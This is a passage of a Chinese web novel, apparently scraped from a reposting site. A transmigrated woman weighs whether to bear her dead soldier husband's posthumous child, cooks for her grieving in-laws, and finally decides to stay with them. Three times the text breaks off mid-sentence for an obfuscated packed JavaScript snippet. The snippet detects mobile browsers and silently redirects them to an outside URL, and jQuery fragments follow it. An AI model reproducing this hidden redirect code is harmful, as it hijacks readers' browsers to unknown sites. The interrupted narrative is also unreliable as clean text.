《夫君的遗腹子自带口粮》 1. 第一章 遗腹子 林秋然睁开眼，看见的还是枯褐色的房梁和土黄色的屋顶，很低，压得人喘不过气来，又过了一晚，她还是没回到现代，看来是真的穿越了。 两天前，她穿到古代农家，原身是个农家女，两个多月前嫁人，嫁给了邻村的萧寻。新婚第三天，男人就从军去了，原身就在婆家生活。 萧家两位老人也算和善，又没有其他小叔子小姑子之类的，原身的日子可以算得上闲适自在，直到噩耗传来。 三日前，村里里正来萧家说萧寻战死了，尸骨无存。 听到这消息，原身的婆婆孙氏当即晕了过去。而原身一个新媳妇，刚嫁人就要守活寡，也禁受不住，直接晕死了。 醒来的就是林秋然。 林秋然醒来后，被孙氏告知了一个对她不算好，但对萧家来说是救命稻草的消息，她有了身孕。 这对林秋然可以说是晴天霹雳，男人战死了，但留下了个遗腹子。 原身才十八岁，往后日子还长。 林秋然不是原身，这孩子只能算是胚胎，她和萧寻一点情分都没有，连面都没见过，怎么会为他生孩子。尤其萧家只是普通农家，如今住的还是泥胚房，总共三间屋子，家具都是木头打的。萧家很穷，和林秋然以前生活的现代社会相差甚远，在这儿生孩子养孩子纯是受罪。 若是真留在萧家照顾孩子，那一辈子可就毁了。一个女子，还是个寡妇，如今二老还在，能帮着照看，可日后人走了，就剩孤儿寡母，日子才叫真的难过。寡妇门前是非多，尤其原身相貌又好。 退一万步讲，就算孙氏愿意她生下孩子改嫁，可是孙氏四十多岁，等孩子长大一些他们就五六十了，若是有什么意外，留下一个孩子也可怜，更可怜的是林秋然这个当娘的，管还是不管？若是真把孩子生下来之只会多个累赘。 而这消息对萧家二老来说无异于救命稻草，恨不得紧紧抓住。 萧家只有萧寻一个男丁，儿子死了，未出世的孩子就成了指望。古代人注重香火，况且，这孩子还是萧寻生命的延续。 而且孙氏醒后得知林秋然有孕，整个人是又哭又笑的，这两日把家里养的鸡宰了，给林秋然炖了鸡汤补身子。鸡汤二人一口没动，林秋然推脱，二人也不喝。 孙氏虽然没开口，但意思已经很明显了，二人愿意林秋然留下孩子。 若是原身，兴许也就答应了，可来的是林秋然。 林秋然已经下定决心不要，现在愁的是没有以后的医疗设施，打胎伤身。偶尔她也觉得孙氏和萧大石可怜，但是这个念头也就冒出过来一瞬，就被她掐死在萌芽中，这个时候可怜别人就是害自己。 现在林秋然为难的是不知怎么和孙氏说，孙氏刚没了儿子，若是林秋然说把肚子里的孩子打了，恐怕孙氏会大受打击一蹶不振，若出了什么事，林秋然就成侩子手。孙氏对这两日总给她做饭，也很关照，林秋然也不想她出事。 可是孩子两个多月，再大些，可就等不及了。 在家里闷了两天，林秋然打算出去走走，说不定能想到什么主意，比如给娘家传个信儿。 林秋然从屋里出去，以前萧家有两个大男人，在村里日子还算不错的，这两日听村里人说话，话里话外都是惋惜，说萧寻人高马大的，打猎又是把好手，怎么就没了呢。 林秋然今日出了门，又听有人说：“哎，那不是萧家媳妇吗，看样子是好了，好在是留了个种，不至于给萧家绝后。” “那也不一定的，林家村估计得到消息了，肯定来接人，刚嫁进来就守寡，娘家能乐意，肯定要改嫁的。” 林秋然松了口气，娘家知道消息就好，不用她费心传信。 “那孩子咋办，以后生下来就没娘了？没爹也就算了，娘还不管，多可怜。” “都是命，留着给萧家养着呗，总归是个念想。” “要是留下多好，嫁进来就是萧家人，哪儿能由着她。” 林秋然不禁想，孩子可怜，孙氏可怜，原身就不可怜吗。她也才十八岁，放在以后还没上大学。林秋然深吸一口气，更坚定了离开的决心。她前世是爸妈是村里的席面师傅，她耳濡目染也会做菜，后来短视频兴起，她做菜拍视频学手艺，成了个小有名气的博主。 有前世的手艺在，不愁吃不上饭。 林秋然在外面转了一圈，村子不小，她得做最坏的打算。 回到家，孙氏又给她炖了只鸡，因为儿子没了，孙氏的脸色有些憔悴，精神也不太好，眼睛红肿好像核桃，让人看着于心不忍。 萧大石在一旁坐着低着头吃饭，他皮肤黑，一边吃饭一边叹气。 白发人送黑发人，谁也受不住，林秋然低着头不去看，想了想，把装着鸡肉的碗往前推了推，“你们也吃些吧，夫君走了，日子还得过，别把人给愁坏了。” 孙氏点点头，眼里又有泪水，三人闷不吭声吃完饭，孙氏把碗筷收了。 林秋然回屋歇着了，原身受了惊讶身子不太好，这两日林秋然又心神不宁，半睡半醒间，她听见屋外有声音。 “孙妹子，我来看看女儿。” 孙氏道：“亲家母快进去看看吧，萧寻走了，秋然心里也不好受，你宽慰宽慰她。” 刘氏进了屋，林秋然睁开眼睛从床上坐起来，刚才孙氏喊这人亲家母，想来这就是原身的娘。 刘氏扑到床边，哭喊着：“我可怜的闺女，嫁过来不久就要守活寡了，以后可怎么办呐。” 林秋然张了张嘴，“娘。” 刘氏擦擦眼泪，不再哭了，看了眼门外压低声音道：“我听人说你还有了身孕，你是咋打算的？要我说这孩子不能留，真生下来谁养？你公婆年纪都大了，萧寻这个杀千刀的死得又早，日后担子都得落在你头上，你一个女人，带个孩子嫁人更难。” 林秋然低着头，刘氏又道：“听我的，把孩子打了跟娘回家，等过些日子再给你相看改嫁。” 林秋然打算先回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598336|171942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘家，她道：“我是有这个打算，只不过萧寻刚走，若是这时候把孩子打了，公婆恐怕受不住。” 刘氏看了眼林秋然的肚子，道：“那也不能拖了，过两日我让你哥把你接回家。到时回家再说，你嫂子性子虽不好，但这种时候不能见死不救。” 刘氏压低声音嘱咐着，“这两只你稳着些，别在这档口说什么不该说的话。唉，这也是没办法的事，活人总比死人重要。萧寻也是没这个命，你也别听外面人胡言乱语，这事儿不怪你。” 刚嫁过来就出了这档子事，刘氏怕有人说自己女儿克夫。 林秋然点点头，“我听您的。” 先离开萧家，其他事以后再说。 刘氏拍了拍女儿肩膀，嘱咐她多吃些，“把身子养好了，萧寻走了就走了，你好好活着，以后好日子在后头呢。” 说完，刘氏从怀里摸出几个铜板，“你拿着，你嫂子管家，娘这儿也没多少钱，买些吃食补补。若是你公婆哭诉，你可千万别心软，就算跪下来求你，也不能答应把孩子生下来！” 林秋然：“我知道。” 刘氏又待了会儿，“那我走了，照顾好自己。” 等刘氏走后，林秋然把铜板数了数，总共八个。她把钱都收起来，又从屋里柜子拿出一个钱袋子，钱袋子里有一两多银子，也不知是嫁妆还是什么。 刘氏说过两天会让原身哥哥过来接她，到时走了她把嫁妆带走，银子给孙氏两人留半两，也省着他们日后日子难过。 很快太阳落山，孙氏在门口敲了敲门，招呼林秋然吃晚饭。 饭桌上还有中午剩的炖鸡，孙氏把鸡腿夹到林秋然碗里，“快吃吧。” 林秋然碗里的是米饭，但孙氏俩人碗里的是稀粥。 两人看着死气沉沉的，林秋然心里也不好受，可想想以后，她总得先顾自己。若是日后有钱了，她会时常来看看他们的。萧寻不在，俩人又没别的孩子，也孤苦。 吃过饭，林秋然想帮忙收拾，孙氏没让，“你去屋里歇着吧。” 林秋然也不知道何时开口和孙氏说娘家会接她回去的事儿，孙氏这样，她实在开不了口。 外面天已经黑了，林秋然打算先睡觉，门外响起孙氏的声音，“秋然你睡了吗，我和你爹想跟你说几句话。” 林秋然想，两人过来大概是要劝她把孩子生下来。 总会有这么一遭，林秋然披上衣裳把门打开，“爹娘，你们进来说吧。” 萧大石进来后低着头没说话，倒是孙氏朝着林秋然笑了笑，只不过她笑得比哭还难看。 孙氏：“秋然呐，萧寻他对不住你，刚成亲就把你一个人留下，我们萧家也对不住你。我和你爹商量了商量，你还年轻，往后日子还长，不能因为萧寻走了日子就不过了。 这年头带个孩子肯定不好改嫁，所以我们商量着，能不能把你认做我们闺女，我们给你出份嫁妆，让你改嫁。这孩子就打了吧，省得不好嫁人。” 2. 第二章 灵芝 这个决定孙氏想了两日。 这两天她和萧大石为此事吵个不停，萧大石说让林秋然把孩子生下来，萧寻已经死了，好不容易留下个香火，还能把孩子打了，这是天意，他有手如脚养着孙儿也不成问题。 孙氏自然愿意把孩子生下来，可是林秋然才刚嫁过来两个多月男人就没了，她以后日子怎么过。这孩子性子不错，况且女人生孩子就是走鬼门关，若到时候出了什么事儿，孙氏可真就受不住了。 萧寻没了，他们还要好好过日子呢。她四十二，萧大石今年四十三，真生下来了，他们日后要是走得早，在地底下也惦记这孩子。所以孙氏和萧大石商量，把林秋然认作他们女儿，操持给她改嫁，也不求别的，日后一年回来看他们老两口一次，然后为他们送终就行。 萧大石低着头不说话，最后点点头，这事就这么办了。 林秋然愣了愣，她还以为孙氏会和她说把孩子生下来。她正不知怎么拒绝，没想到听到的却是这些。 萧大石没吭声，孙氏接着道：“这几十几年家里攒了七两多银子，当初给你家聘礼二两，置办酒席花了些，如今还有五两。我们拿二两银子再给你置办一份嫁妆，剩下的就留我们二老养老，你觉得如何？” 林秋然点了点头，“爹娘，我既然嫁到萧家，你们二老就永远是我的爹娘。” 孙氏又擦了擦眼泪，“你是个好媳妇，好孩子，是萧寻他没福气。” 人死如灯灭，这也是没办法的事。林秋然宽慰几句，二人就回屋了。她松了口气，原身的嫁妆并不多，若萧家给她置办一份嫁妆肯定比从娘家出嫁好，听刘氏的语气，原身的嫂子并不好相与。 若是她能不要孩子留在萧家就好了，孙氏性子好，当萧家的女儿肯定不错。在哪儿赚钱不是赚钱，可若留下孩子必然得留着。 不成不成。 次日，孙氏和萧大石去了田里。 人死如灯灭，日子还得继续过，这两日孙氏忙着哀伤地也没下。如今是夏日，地理得时常除草，不然庄稼也长不高。 萧家有三亩地，种了麦子。两人吃过早饭就去了地里了，林秋然就在家留着，她起得晚些，锅里给她留着饭，是三个鸡蛋。 她还以为不要孩子之后孙氏就不管她了，也不会日日吃肉，谁知还是和从前一样。 她打算中午做些饭给俩人送去，她看了看，家里两只鸡已经吃完了，粮缸里还有些米面，后院的菜园子里有青菜，心里大致了解，林秋然就去摘菜了。 她对萧家村不太了解，但四周环山，这几日热，但有山环绕，气候还算适宜，不过地处南方北方她就不知道了。 萧家的菜园子在后头，用篱笆给围上，菜园子很整洁，孙氏是个过日子的人。 林秋然摘了个小南瓜，又摘了把小葱和几个辣椒。然后慢悠悠去井边洗菜摘菜，如今吃萧家的用萧家的，肯定不能光吃饭不干活。 洗菜的时候她看了眼自己肚子，说来这孩子也皮实，原身受惊讶晕了一日，这孩子都没事儿。 临近中午，孙氏从从田里往回赶，路上遇见不少给地里送饭的女人。其他人看看她也不敢搭话，还是跟萧家关系不错的一个婶子开口，“妹子咋回去？” 孙氏道：“我回去瞅瞅。” 其实她是回去做饭，但别人听了肯定说儿媳妇在家不管吗，村里的女儿，怀孕生子不算事儿，可孙氏舍不得，宁愿自己干。 只不过她一进家门随时就闻到了一股香味儿，萧家烟囱也冒着烟。 饭林秋然给做好了，但她不知道萧家的地在哪儿，幸好孙氏回来了，“娘我做了午饭。” 孙氏吸吸鼻子，心里分外动容，若是萧寻没走就好了，有这么个媳妇儿还指望啥呀？ 孙氏擦擦眼睛，别过身子说道：“你身子不方便，在家躺着就好了，还用得着你做？” 林秋然说道：“闲着也是闲着，我做了点南瓜饼又炒了个南瓜，你和爹尝尝。” 萧家一日吃三顿，早上稀粥，中午两样面的饼子或两样米的饭，掺着的多是薯米薯面，晚上依旧稀粥。 但林秋然这几日吃的好，中午晚上都是白米饭炖鸡，早上吃鸡蛋。她不想光吃饭不干活，做点饭也累不着人。 孙氏笑了笑，“成，下回做熟了你就先吃，我装上给你爹拿过去，饭碗泡锅里就行，我回来洗。” 孙氏很快带着饭走了，林秋然也坐下吃饭，早上吃了仨鸡蛋，她这会儿还不算饿。南瓜饼是用南瓜白面鸡蛋做的，把南瓜擦丝，掺在一块儿调个味儿，煎出来的南瓜饼脆嫩，也很香。 而炒南瓜里面有腊肉，家里房梁吊着的，她把腊肉切片煸出油，然后盛出来炒蒜末辣椒，之后南瓜腊肉一起炒，闻着香辣很是下饭。 这是按时节才有的菜，南瓜再老一点就不能吃了，只要手艺还在，日后肯定饿不死。 而另一边孙氏抱着竹筐回田里，里面装着饭。一路上有人看她，孙氏就说这是儿媳妇做的。 这些日子没少有人戳萧家的脊梁骨。要么说两口子命不好，要么说林秋然克夫，若真克，那他们老两口岂不克子。再说商议婚事前八字都合过，就会说闲话。 这个时候给人看看林秋然会做饭，日后她改嫁也容易。 到了地里萧大石还疑惑孙氏怎么来得这么快，孙氏说道：“秋然做的中午饭，快吃吧。” 这两日俩人都没咋吃饭，心里难受，根本就吃不下。可孙氏把盖饭的纱布拿开，萧大石忍不住咽了咽口水，这两日没吃啥，他肚子瘪了两天，这饭菜看着不错。 孙氏递过去了双筷子行了，“快吃吧，吃完还得除草。” 萧大石点点头，他夹了块南瓜饼，入口饼绵瓜脆咸香十足，炒南瓜更好吃，里头还有腊肉。吃着吃着，他就忍不住哭了，要是儿子还在，儿媳又孝顺，他还求什么呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598337|171942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 孙氏看他这样心里也不好受，“快别想了，过些日子，给萧寻立个衣冠冢，请村里人过来。” 萧大石抹了把眼睛，点点头。 饭菜好吃，可俩人嘴里没啥滋味，孙氏吃完把碗在井边洗了，俩人又除了半日草。等太阳落山，其他地里人都走了，二人才往回走。 萧家的地远，在林子旁，回去得穿过树林，地里黑，孙氏走得小心，走着走着她扯了扯萧大石的袖子，“他爹你看那是啥？” 萧大石顺着看去，有点子像蘑菇，是橙红色的，孙氏跑过去看，好像是朵灵芝。 萧家村附近的山上的确长灵芝，也有采药人专门采这个，以前萧寻打猎就见人采过，可是不好找，物以稀为贵，真采到能卖大价钱呢。 孙氏找中午带饭的篓子，把灵芝摘下来用布包上，这可是好东西。 老两口心里紧张，又看看左右无人，赶紧往家跑。 林秋然晚上用红薯和米煮了粥，没做菜，弄了些咸菜。 孙氏又给林秋然煮了俩鸡蛋，她飞快吃完，把白布盖着的灵芝给林秋然看，“秋然，我和你爹路上捡的。” 林秋然借着烛光看了一眼，红褐色的伞盖，还是半圆形，面上很是光滑，有她手这么大，看着不太像真的。 林秋然问：“这是灵芝？” 孙氏道：“就在路上一棵树旁边，老远我就看见了，明儿给卖了去。” 萧大石咳了两声，孙氏回头，见萧大石一直给她使眼色。 林秋然也看见了，她低下头，“娘时辰不早了，我先回屋了。” 其实萧大石不使眼色她也知道，这是孙氏他们捡的，跟她没关系。 看林秋然回屋，孙氏瞪了萧大石一眼，“咋回事儿你。” 萧大石闷声道：“你说这多干啥。” 都要把孩子打了改嫁去，他们捡的关林秋然啥事儿，防人之心不可无。 孙氏道：“怎么不能说了，秋然嫁人，那也是从萧家嫁出去，咱们无儿无女，不对秋然好些，日后给送终的都没有。这东西我明儿就给卖了去，银子给秋然当嫁妆！” * 次日，林秋然醒了锅里还有三鸡蛋，她轻轻叹了口气，她打算等娘家来人了，和刘氏说在萧家改嫁的事。 平心而论，孙氏性子很不错，只可惜…… 中午，孙氏从外头回来了，林秋然也把饭做好了，今儿做的是青辣椒茄子，茄子是蒸的，辣椒用火烤，把表皮烤成虎皮状之后撕成条，最后和茄子拌在一块儿，调料不多，林秋然用的蒜末和小辣椒，最后简单调了个味儿。 主食就是红薯面白面做的饼子，但是她也不知二人去了哪儿，只能在家里等着。 孙氏急匆匆回来，到家后把门都给关上了。 孙氏：“秋然，昨儿的灵芝娘给卖了，卖了十两银子。这钱你拿着吧，以后嫁了人，日子也好过点儿。” 3. 第三章 留下 林秋然道：“娘，这钱你们留着就行了，这我不能要。” 萧家愿意给她出一份嫁妆就已经很不错了，没了儿子孙氏也伤心，两人该留下些养老钱，为以后做打算。 孙氏说道：“给你你就拿着，秋然，我跟你说几句掏心窝子的话，家里这么多年下地打猎都没见到过这东西，这回萧寻走了就捡到了，肯定是他在天之灵守着你的，也想让你以后日子好过一点。你想想，那条道又不是没人走，咋就让我看见了呢？” 嫁过来好好的头婚成二婚了，要是嫁进来几年萧寻出了事也就罢了，可才两个多月，这也是为何孙氏总觉得对不住林秋然的原因。 林秋然道：“娘，这也是萧寻给你们的心意。” 孙氏骂道：“他若真有心意，就该好好活着。他一走了之倒是轻巧，留下的人为他伤心。” 林秋然见孙氏又要哭，赶紧道：“那这样吧，我拿五两，你和爹留一半，这银子我不能全要。” 孙氏点了点头，深吸一口气，把其中五两碎银子给了林秋然，“你给收好，我去给你爹送饭去。” 林秋然在心里叹了口气，把装好饭的竹篮子递给孙氏。等人走后，她自己坐下吃饭，今儿虽没肉，可是辣椒的辣味配着软烂的茄子，入口吃着极好。 就是饼子有些干，但是把菜裹到饼子里了，吃着也很下饭。这是以前林秋然常吃的雷椒皮蛋茄子的简易版，皮蛋萧家没有，但是茄子和辣椒管够。 下午林秋然睡了一会儿，就去菜园子除草了，孙氏和萧大石做的也是这些，夏日雨水多草长得也快，若是不勤着除草，草长得快会跟地里庄稼争夺养分，时间长了长得比庄稼还高，庄稼自然就不结粮食了。 太阳有些晒，林秋然找了一个草帽戴上，拿了个小锄子和板凳去菜园子。 她是坐下，把一片地锄干净了再挪去别处。 明儿娘家估计就来人了，等说一说改嫁的事儿，再把孩子给打掉。或许原身想留着这孩子，可林秋然一个从现代穿过来的，实在没办法说服自己给人当娘。尤其夫君死了，孙氏和萧大石年纪也越来越大，日后担子肯定都压在她一个人肩上。 这般想着，锄子挖到了一个硬硬的东西，林秋然愣了愣，又往下挖了两下，是个四四方方的小盒子。 像是个老东西，因为上面有些锈，盒子还有锁，锁也锈了。林秋然用锄头砸了两下，锁头就掉了，东西也露了出来。东西用布包着，布料看着很细腻，就是有些腐败。 林秋然掂了掂，还有点重量，她怕是什么不好的东西，只敢抖开，一个金灿灿的镯子还有一对金耳钉就掉了下来。 林秋然这回是真的愣住了，她这是在萧家后院的菜园子挖出来了金子？ 那应该是孙氏什么时候藏在这里的吧。 林秋然把东西收好，地也不锄了，赶紧把东西带回屋。这被她挖了出来，若是孙氏日后再找，找不着还得着急。 而另一头，孙氏跟着萧大石把地里的草锄得差不多了，三亩地也不算多大，除草又不是多费事的活，就是弯了一天腰，腰疼。 萧大石还因为孙氏把银子给了林秋然生气，生气就生气，孙氏可不管他。总不能说着拿人家当女儿看待，却处处提防吧，如今俩人儿子没了，也只剩林秋然一个指望，再怎么说林秋然也比萧家那些亲戚好。 如果这些银子拿过去，恐怕连个响都听不着。 傍晚回家，孙氏还特地去昨日那棵树下看了看，今儿是没灵芝。这样的好东西顶多捡一次，还能次次捡。 孙氏和萧大石扛着农具回家，看二人到家了，林秋然松了口气，“娘，我今儿去菜园子里除草了。” 孙氏道：“那活儿不用你做，哪天早上你爹去，你歇着就成。” 林秋然点点头又道：“然后我在地里挖出个东西，这是您之前埋的吧。” 财不外露的道理谁都懂，有什么好东西肯定都藏起来，也省着日后家里进了贼被洗劫一空。 孙氏却神色不明，“我没往菜园子里埋过什么呀。” 林秋然赶紧把匣子拿了出来，“东西我看了，但没动，一个镯子一对耳钉都在里面。” 孙氏一愣，“秋然啊，这真不是我埋的啊。” 孙氏还仔细看这盒子，又看了看里面的东西，最终还是摇了摇头，“这我没埋过，家里也没这东西。如果有，早就跟你说了。” 林秋然疑惑地看着盒子，那这真是她从菜园里挖出来的？昨日孙氏刚捡了灵芝，今儿她就菜园里挖出金镯子。林秋然觉得没准儿是假的，可镯子金灿灿的，这个时代又没造假染色的技术。 孙氏还擦擦上嘴咬了一口，“能咬动，是金的，就是不知道是什么人用的。估计是从前有人逃难到这边埋到地里了，后来家里种菜，地翻来翻去就到上面了，既然是你挖的，那你就拿着。怕不吉利就给当了，看份量不轻的。” 林秋然点了点头，把东西收了起来。有银子傍身，她可以开间小铺子或是租个小摊位，还能养好身子。 她冲孙氏笑笑，“多谢娘。” 孙氏说道：“有啥好谢的，本来就是你挖出来的，倒也是个喜事儿。” 林秋然点了点头，打算换了银子，再给两人留下些。 没自己的事，农家都是日出而做日落而息，林秋然就回了自己屋，她把银子啥的放一块儿，金镯子金耳钉，还有以前赞的加上孙氏给的，加一块有八两多银子。 这个时代，在乡下有这么多不少了，这镯子估计还能当个十几两银子。 林秋然躺在床上，在村子里，其他人家人多，都是挤着，她能一个人住一间房已然不错。 她伸手摸了摸肚子，还是没什么感觉，她不是原身，对萧寻没有感情，对孩子也没什么感情，这两日该吃饭吃饭，该干活干活，也没害喜难受过，总的来说这孩子很听话。 若说舍不得，没有，但这两天发生的事，不得不让林秋然多想了些。离开萧家改嫁是一条出路，若把孩子打了嫁给一个人品好的，在这个时代有个依靠也不错。可若是嫁得不好，那就完了。 这个社会，嫁了人估计还要生孩子，没准儿还不如留在萧家呢。 现在有了钱，说不准她可以把这孩子生下来，好好教养，还有孙氏萧大石帮忙带着，而且看孙氏性子不错，相貌也还成，想来萧寻也不会太差，那基因就不错。 何况这个时代医疗设施简陋，打胎也伤身，所以林秋然犹豫着要不要把这孩子生下来。 如今银子是不缺，这些意外之财应该足够在这个时代生一个孩子。孙氏觉得捡灵芝是因为萧寻，可她总觉得是因为这个孩子。 起初她怕生孩子一是怕萧家二老性子不好，最后把担子给她，可经过这几日相处，孙氏性子和善，也很体谅她。也没因为她要把孩子打了，就少给她吃什么。 萧大石老实不爱说话，但能干活。 一个出嫁女，娘家嫂子没准儿还惦记她的东西。 晚上吃饭，林秋然依旧有鸡蛋。夜里林秋然还想着这些事儿，但没失眠，很快就睡着了。 次日一早，林秋然醒了，不见孙氏和萧大石。她去菜园子看了看，孙氏在除草，这回孙氏锄的比以往都深，就是怕还有人埋东西，但什么都没有。 孙氏也就放弃了，还能回回捡钱。 林秋然问孙氏，“爹呢？” 孙氏道：“到河里捞鱼去了。” 家里鸡没了，坐小月子也得养着身子，喝些鱼汤正好。上回刘氏来了，孙氏估计今儿还过来，到时候她好好和刘氏商量商量。 孙氏道：“给你留了鸡蛋，快吃去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598338|171942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 家里鸡蛋都是攒的，现在也快吃没了，她得去跟别人家换些去。 林秋然点了点头，从菜园子出去，正巧，萧大石从外头回来，他一前一后挑了两个竹篓子，林秋然远看，都是比小臂还长的鲤鱼。 一个早上捞了两篓子鲤鱼？ 萧大石道：“快招呼你娘去，放水里给养着，能吃好久呢。” 林秋然赶紧去菜园子，她压着声音，“娘，爹回来了，招呼你过去。” 孙氏拍拍身上的土起来，“这么快。” 回家看见两篓子鱼孙氏愣了愣，然后把大门关上，赶紧去找木盆木桶，能用的都用上，把这些鱼放出来养着。数了数二十一条，这得吃多长时间？ 孙氏道：“你倒是能耐了，抓这么多，还都是活的。” 以前也打鱼，就没见打这么多的。 萧大石道：“今儿也是运气好，河里鱼可多了，一捞好几条，一捞好几条，还没别人。我把小的放了，净留了大的，那还这么多呢，怕人看着就赶紧回来了。” 萧家出了事，可眼红不分时候。 孙氏朝林秋然笑了笑，“这够吃好久的了，一会儿娘给你炖鱼汤喝。” 林秋然点了点头，心里有些动容。 萧大石把鱼搬到阴凉地方，林秋然想帮忙，孙氏让她歇着。 林秋然也没歇多久，因为娘家来人了。刘氏今儿是带着儿媳余氏过来，儿子没过来。 余氏眼看着萧家门口摆了一盆鱼，又看孙氏在厨房炖鱼汤，眼睛叽里咕噜转着。 刘氏和孙氏打了个招呼，就去屋里看女儿了，关上门，她急着道：“你婆婆咋还炖鱼呢，你可说了不要这孩子？” 林秋然犹豫着点了点头，刘氏松了口气，“那一会儿就跟娘回去。” 余氏道：“着啥急，妹子，哪儿的鱼呀？这老两口倒是有点良心，要我说妹子改嫁萧家还得出一份彩礼，我妹子好好的黄花大闺女刚嫁过来男人就没了，还怀了个孩子，总得补偿一二。妹子你放心，你的好日子在后头呢。前两日我帮你相看了一个，前头的死了，家里有俩儿子，愿意出五两银子的彩礼。” 余氏笑着，“你这头婚虽然不咋地，可后头这个嫁过去就是好日子。” 林秋然皱着眉：“鳏夫？” 余氏道：“鳏夫咋了，你不也寡妇嘛，这彩礼高呀，你一个死了男人的能有这么好的亲事，就烧高香吧。” 林秋然道：“娘，嫂子，就算我回娘家，也不想那么快嫁人……” 余氏拔高声音，“不嫁人干啥？在家里吃白饭啊。” 林秋然看了眼刘氏，刘氏低着头，把女儿接回去儿媳就不高兴，其他的她做不了主。 “妹子，我可劝你一句，别挑了，过了这个村就没这个店，再想找到这么好的后悔也晚了。” 林秋然这几日理了理原身的嫁妆，一个柜子，两身衣裳，两床被子，就没别的了。原身娘性子软，家里嫂子当家她也做不得主。但好歹是妹子，刚死了夫婿没了孩子，就要给卖了换彩礼。 还不如婆家呢。 林秋然刚想说些什么，孙氏就推门进来，“什么玩意，有俩儿子的鳏夫，这算什么好人家。亏你们还是亲娘亲嫂子，快出去出去。我今儿把话放在这儿，秋然嫁到我们萧家就是我们萧家的人，就算改嫁也得从萧家改嫁！” 林秋然愣了愣，看着孙氏忘了说话。 余氏扬扬下巴，神气道：“婶子，这事可由不得你，怎么说秋然也是我林家人，关萧家什么事，你可别咸吃萝卜淡操心了。” 林秋然：“娘，嫂子，你们先回去吧，我又不是傻子，何必打了自己的孩子去养别人的孩子。本来我也打算回娘家说一声，你们过来也省得我过去，我打算留下这孩子，你们回去吧。” 4. 第四章 白事 等刘氏和余氏从萧家离开，孙氏松了口气，她看了林秋然好几眼，“秋然，你刚才说的，是为了让你娘走还是……” 孙氏想问，是随口说的还是认真的。 作为萧寻的母亲，孙氏自然是希望林秋然把孩子生下来的，可是她总不能强迫，万一林秋然心里不愿意寻短见，又或是故意撞肚子，到时候孩子没了大人也得出事。 可今儿她竟然听林秋然说要把孩子给生下来，哪怕是借口，只有一分希望，但孙氏还是想问问。 林秋然点了点头，她道：“我是想生下来，萧寻走了，我心里也难受，可是人死不能复生。这些日子我也想过，我对萧寻是有感情的，只是怕，怕孩子生下来没有父亲，孤儿寡母无依无靠。可这些日子看您二老待我胜过亲生女儿，处处为我打算，我心里又于心不忍。” 说着说着林秋然低下头，她哭不出来，只能擦擦眼角，虽然想的是生下孩子对自己也有好处，娘家靠不住，不如留在萧家。 与其养别人的孩子，还不如养自己的，可总不能这么跟孙氏和萧大石说。 两人感激她生下孩子，日后也会对她和孩子好，林秋然不得不为自己打算。本来她是有留下孩子的念头，今儿刘氏和余氏过来，不过是加深了这个想法。 再嫁不知嫁个什么人，那还不如留在萧家。 孙氏眼泪扑簌扑簌地掉，她是喜极而泣，萧大石也进来了，“你这是咋了？” 孙氏大哭，扑在萧大石的怀里，声音哽咽，话都说不利索，“他爹，秋、秋然说要把孩子生下来。” 萧寻的死就是压在两人身上的石头，萧大石这些日子头发白了，看起来老了不止一岁，白发人送黑发人，便是孙氏为林秋然打算，可心里还是希望她能留下孩子的。 萧大石也哭了起来，二人抱作一团嚎啕大哭。林秋然叹了口气，从局外人的角度，孙氏和萧大石也不容易。 等哭累了，孙氏收拾收拾洗把脸去厨房炖鱼汤，这还是早上，她又煮了俩鸡蛋给林秋然当早饭。 连着饭菜一块儿端上桌的还有一个钱袋子，孙氏道：“秋然你吃饭，我跟你说说家里的事儿。” 林秋然点点头，一边吃一边听着。 孙氏道：“咱家里有这三间屋子，这是房契，还有三亩地，地契也在。萧寻死，朝廷也没给钱，但免了五年的田赋。银子就是那天跟你说的，剩三两多，还有卖灵芝的五两。我年纪也大了，以后家里的事就你来管。” 林秋然道：“娘，这使不得。” 孙氏道：“你就别推脱了，你是女儿又是儿媳，该你管。就是家里没啥钱，委屈你了。” 林秋然知道孙氏这样做是想自己安心，可是不怕吗，不怕她带着银子跑了。 林秋然看了眼萧大石，萧大石也点点头，“你娘给你你就收着，想吃什么就买。” 林秋然点点头，拿了碎银子，铜板没动，“你和爹也有用钱的地方，大头我存着就行了。” 孙氏咧嘴一乐，“快吃快吃，我和你爹还商量着，萧寻战死了，虽然没有尸身，可是也得立个墓碑。也得请村里人都过来，菜啥的家里都有，到时候我操持就行，也不用你操心。” 还有鱼呢，也算体体面面的。 林秋然差点忘了这回事，虽然尸骨无存，可白事肯定得办，立个衣冠冢也能入土为安，况且萧家也去别人家白事，礼得收回来。 这恰好是林秋然所擅长的，做席面，若是别人见她手艺好，以后也能有个营生。 她道：“娘，这事儿交给我吧。” 